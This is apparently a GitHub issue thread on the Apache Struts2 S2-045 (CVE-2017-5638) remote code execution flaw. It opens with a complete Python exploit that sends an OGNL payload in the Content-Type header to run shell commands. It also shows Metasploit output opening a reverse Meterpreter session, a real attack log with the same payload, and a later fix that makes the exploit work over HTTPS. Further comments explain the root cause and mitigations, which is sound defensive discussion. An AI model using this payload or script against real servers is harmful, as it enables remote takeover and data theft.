CVE-2017-5638 - Apache Struts2 S2-045
nixawk opened this issue ยท 39 comments
Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.
...
It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.
#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import httplib
def exploit(url, cmd):
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
try:
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
page = e.partial
print(page)
return page
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] struts2_S2-045.py <url> <cmd>")
else:
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
url = sys.argv[1]
cmd = sys.argv[2]
print("[*] cmd: %s\n" % cmd)
exploit(url, cmd)
Lab
- Please install tomcat yourself
- Deplay the vuln struts2 package
References
https://cwiki.apache.org/confluence/display/WW/S2-045
https://www.seebug.org/vuldb/ssvid-92746
Could this be turned into an exploit? (cmd/unix
payloads)
msf exploit(struts_code_exec_jakarta) > show options
Module options (exploit/multi/http/struts_code_exec_jakarta):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.206.144 yes The target address
RPORT 8080 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /struts2-showcase/ yes The path to a struts application action
TMPPATH no Overwrite the temp path for the file upload. Needed if the home directory is not writable.
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
1 Linux Universal
msf exploit(struts_code_exec_jakarta) > run
[*] Started reverse TCP handler on 192.168.206.144:4444
[*] 192.168.206.144:8080 - Uploading exploit to /tmp/axs6, and executing it.
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.206.144
[*] Meterpreter session 1 opened (192.168.206.144:4444 -> 192.168.206.144:59908) at 2017-03-07 11:18:52 -0500
meterpreter > sysinfo
Computer : sh
OS : Linux sh 4.6.0-kali1-686-pae #1 SMP Debian 4.6.4-1kali1 (2016-07-21) (i686)
Architecture : i686
Meterpreter : x86/linux
meterpreter >
My client's site was hacked yesterday.
This was in the log:
redacted
Seems to be more an OGNL issue than a Multipart parser issue
I've try on my own server but it's doesn't works (An error 500 is displayed).
I've targeted directly IP address.
@busterb it was a stacktrace cut before showing any customer-related information, just to help you out and show that the problem exists in real life. But you needed to play smart ass at my expense I guess.
@xtianus there was an internal hostname in there, or at least it looked like one to me. I wasn't trying to be a smart ass, apologies if that's how it sounded.
There was none. You could have edited the hostname-lookalike instead of removing the whole thing, but that wouldn't have attracted 12 smiles I guess.
The sad news is that this PR was prepared before we even had a chance to inform users about the new versions and it contains PoC reported to us which means we cannot even trust reporters :(
My mistake @xtianus. I removed comment above. Here is the backtrace resurrected for reference:
WARN o.a.s.d.m.JakartaMultiPartRequest - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream,
content type header is %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=
(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?
{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=
(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947) ~[commons-fileupload-1.3.1.jar:1.3.1]
at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310) ~[commons-fileupload-1.3.1.jar:1.3.1]
at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) ~[commons-fileupload-1.3.1.jar:1.3.1]
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:188) ~[struts2-core-2.3.24.1.jar:2.3.24.1]
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127) ~[struts2-core-2.3.24.1.jar:2.3.24.1]
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92) ~[struts2-core-2.3.24.1.jar:2.3.24.1]
at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:84) [struts2-core-2.3.24.1.jar:2.3.24.1]
at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:838) [struts2-core-2.3.24.1.jar:2.3.24.1]
at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:137) [struts2-core-2.3.24.1.jar:2.3.24.1]
at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilter.doFilter(StrutsPrepareFilter.java:88) [struts2-core-2.3.24.1.jar:2.3.24.1]
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:240) [
@oli-h Based on my understanding the problem is that Jakarta Multiparser generates an exception when parsing the Content-Type. While raising this exception it tries to include the invalid data in the error message. Instead of displaying the invalid data it parses and executes the OGNL. So, as I understand it, the problem is the Jarkarta Multiparser and the vehicle for exploitation is OGNL.
I think this might be some of the relevant code changes in Struts - http://www.mail-archive.com/commits%40struts.apache.org/msg14591.html
I'm working on converting your module to be able to load a java payload instead of executing a command
Guys, careful on the 'vuln struts2 package', my anti-virus detected a trojan horse inside.
how to install ?? i tried to update it but still it failed to load the module..
@5p4d3: It isn't even in the tree yet. Drop the module in ~/.msf4/modules/exploits/multi/http
.
still the error exists :(
Did you reload Metasploit? This is not the place to be asking support questions, btw. Take it to IRC, please.
Is there any way to fix this issue rather having upgrade to 2.3.32 or 2.5.10.1?
The simplest way is to filter out all incoming requests with invalid ContentType
or implement a custom Multipart
parser
http://stackoverflow.com/questions/8937986/how-to-use-custom-struts-multipart-parser/42805618#42805618
https://struts.apache.org/docs/handling-file-uploads.html
If your application server is behind Apache server you can unset Content-type like this:
IfModule mod_headers.c
RequestHeader unset Content-Type
IfModule
If you application server is not behind a web server you can commented the fileUpload interceptor
by defining a custom interceptor-stack:
https://dzone.com/tutorials/java/struts-2/struts-2-tutorial/struts-2-interceptors-tutorial-1.html
This temporary solution will break upload functionalities until you upgrade struts-2
We have released two plugins that can help you fix this vulnerability in your Struts version (without a need to migrate) - it's safer than a custom Servlet filter as there are other attack vectors.
http://struts.apache.org/announce.html#a20170320
Based on this recent qualsys blog, removing fileupload interceptor is not enough.
As long as common-fileulpoad is in the war the vulnerability could be exploited.
Until you upgrade to recent revision with fix do this:
If your application server is behind Apache server do:
IfModule mod_headers.c
RequestHeader unset Content-Type
RequestHeader unset Content-Disposition
RequestHeader unset Content-length
IfModule
If you application server is not behind a web server remove fileupload or use jakarta-stream:
https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries
jakarta-stream
parser is also vulnerable, the attack vector is a bit different - the best option, except migrating to the latest versions, is use one of those plugins:
https://github.com/apache/struts-extras
Hello,
Can anyone let me know if we can use Pell Parser, would it be better or secure option ?
Also, kindly let me know if any issues/vulnerabilities with exploits (Attack Vectors) available for the same.
Thanks.
seem it will upload script such as window or linux bash script then running to create process.
Just upgrade Struts 2 for fixed problem , Right ?
Hey, noob here, how can I run this exploit over https? I am getting an error, when testing against 2.3.32 (see below) it is requiring a certificate. My question is, how (if I can) can I pass in the certificate in-line, or is there a way to perform this using some type of insecure option?
urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:661)>
@Lopesy1191 The Metasploit module should work fine with TLS. Use that instead of the PoC posted here.
Replace by:
try:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request, context=ctx).read()
Thanks @WHK102
@ lukaszlenart : Are the plugins, you mentioned above compatible with much older Struts2 versions such as Struts 2.0.14 ?
@casseusclay nope